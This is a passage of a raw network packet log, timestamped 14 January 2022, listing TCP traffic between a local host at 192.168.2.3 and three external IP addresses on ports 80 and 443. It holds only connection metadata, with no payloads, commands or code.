Jan 14, 2022 01:51:42.678689957 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.678724051 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678761959 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678770065 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.678802013 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678838968 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678874016 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.678877115 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678919077 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678935051 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.678956032 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678996086 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679009914 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.679033995 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679073095 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679080009 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.679114103 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679152966 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679171085 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.679193020 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679230928 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679244995 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.679267883 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679306984 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679322958 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.679347038 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679385900 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679392099 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.679425955 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679462910 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679470062 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.679502964 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679541111 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679553986 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.679579020 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679617882 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679634094 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.679656982 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.679698944 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.682094097 CET	49854	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.683861971 CET	49854	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.736780882 CET	80	49854	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:42.736857891 CET	80	49854	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:42.752309084 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.752352953 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.752389908 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.752419949 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.752430916 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.752470016 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.752505064 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.752507925 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.752547026 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.752578020 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.752585888 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.752626896 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.752646923 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.752665997 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.752715111 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.752734900 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.752774000 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.752813101 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.752837896 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.752851963 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.752890110 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.752906084 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.752969980 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.753009081 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.753022909 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.753048897 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.753086090 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.753101110 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.753125906 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.753166914 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.753180981 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.753205061 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.753243923 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.753257990 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.753283978 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.753320932 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.753334045 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.753360987 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.753398895 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.753417969 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.753437996 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.753485918 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.753546000 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.753592968 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.753654957 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.753915071 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.753971100 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.754009962 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.754024982 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.754046917 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.754095078 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.754096985 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.754137039 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.754174948 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.754198074 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.754211903 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.754251957 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.754264116 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.754287004 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.754326105 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.754342079 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.754363060 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.754399061 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.754411936 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.754439116 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.754476070 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.754491091 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.754513979 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.754553080 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.754568100 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.754589081 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.754635096 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.762146950 CET	80	49854	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:42.762228012 CET	49854	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.762435913 CET	49854	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.789849043 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:42.789887905 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:42.789966106 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:42.790205002 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:42.790225983 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:42.814474106 CET	80	49854	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:42.827079058 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827126980 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827166080 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827197075 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.827204943 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827245951 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827253103 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.827282906 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827322960 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827347040 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.827362061 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827399015 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827410936 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.827436924 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827475071 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827486992 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.827512980 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827552080 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827570915 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.827589035 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827629089 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827635050 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.827666998 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827703953 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827716112 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.827743053 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827780962 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827800989 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.827819109 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827857971 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827864885 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.827894926 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827933073 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.827944994 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.827970028 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828006029 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828027010 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.828042984 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828079939 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828094959 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.828116894 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828160048 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828171968 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.828196049 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828233957 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828248024 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.828272104 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828308105 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828315973 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.828346968 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828386068 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828393936 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.828423977 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828461885 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828470945 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.828497887 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828536987 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828548908 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.828573942 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828608990 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828615904 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.828646898 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828684092 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828700066 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.828722000 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828761101 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828773975 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.828797102 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828835964 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828844070 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.828874111 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.828924894 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.842910051 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:42.842997074 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:42.845252991 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:42.845264912 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:42.845704079 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:42.846482992 CET	49855	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:42.889878988 CET	443	49855	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:42.901437998 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.901500940 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.901540041 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.901560068 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.901576996 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.901616096 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.901622057 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.901654959 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.901693106 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.901698112 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.901734114 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.901770115 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.901787043 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.901808977 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.901848078 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.901869059 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.901916027 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.901951075 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.901973963 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.901989937 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902029037 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902036905 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.902066946 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902106047 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902118921 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.902143002 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902184963 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902189970 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.902221918 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902257919 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902270079 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.902296066 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902333975 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902342081 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.902370930 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902410984 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902420998 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.902447939 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902484894 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902498960 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.902523041 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902558088 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902578115 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.902595043 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902631998 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902645111 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.902669907 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902709007 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902715921 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.902745008 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902782917 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902796030 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.902822018 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902858019 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902865887 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.902895927 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902932882 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.902945995 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.902971029 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.903011084 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.903028011 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.903047085 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.903084040 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.903090954 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.903120995 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.903158903 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.903171062 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.903196096 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.903233051 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.903247118 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.903273106 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.903317928 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.976259947 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976324081 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976366043 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976380110 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.976403952 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976445913 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976449013 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.976488113 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976525068 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976531029 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.976563931 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976602077 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976614952 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.976640940 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976681948 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976689100 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.976718903 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976758003 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976779938 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.976798058 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976836920 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976849079 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.976875067 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976912975 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976942062 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.976952076 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976991892 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.976998091 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.977032900 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977072001 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977085114 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.977109909 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977145910 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977171898 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.977185965 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977224112 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977247000 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.977262974 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977302074 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977315903 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.977338076 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977376938 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977390051 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.977415085 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977451086 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977463007 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.977489948 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977526903 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977543116 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.977637053 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977674007 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977686882 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.977713108 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977751017 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977758884 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.977816105 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977869034 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.977895975 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977937937 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977976084 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.977988958 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.978013039 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.978053093 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.978069067 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.978091955 CET	80	49852	141.8.194.74	192.168.2.3
